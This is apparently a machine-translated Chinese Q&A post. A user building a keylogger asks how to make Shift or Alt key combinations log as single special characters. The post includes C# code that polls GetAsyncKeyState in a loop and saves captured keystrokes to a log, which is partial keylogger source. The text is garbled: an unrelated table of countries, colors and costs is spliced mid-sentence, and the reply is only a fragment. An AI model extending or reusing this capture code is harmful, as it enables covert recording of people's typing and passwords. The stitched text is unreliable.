我正在使用键盘记录程序,我使用samples countries color cost
a US white 1.2
a UK white 1.2
a France white 1.2
a Germany white 1.2
b France red 2.0
b Germany red 2.0
c US blue 2.5
处理活动密钥。
GetAsyncKeyState
关键处理函数processKey,根据键类型处理键,但我不知道如何处理特殊键,如“¿?:;!·$%&”需要移位或需要alt的其他特殊字符,如“@#”。
我想写特殊字符而不是单独字符的组合,例如,如果我按shift + 0控制台应输出“=”,但在我的情况下,控制台将“[SHIFT]”“0”分开。
有processKey函数(unicode):
Keys lastKey = 0;
while (true)
{
Boolean shiftKey;
Boolean capsLock;
String text = "";
Thread.Sleep(captureTime);
for (int i = 0; i< 1000; i++)
{
int keyState = GetAsyncKeyState(i);
if (keyState == 1 || keyState == -32767)
{
shiftKey = Convert.ToBoolean(GetAsyncKeyState((int) Keys.ShiftKey));
capsLock = Convert.ToBoolean(GetAsyncKeyState((int) Keys.CapsLock));
text = processKey((Keys) i, shiftKey, capsLock);
if (checkNewLine(lastKey, (Keys) i))
{
saveLog(text);
}
lastKey = (Keys) i;
}
}
}
答案 0 :(得分:1)
你混淆了两个概念。
您应该使用2种方法。
另外:你不应该使用while(1){... sleep()...}循环样式。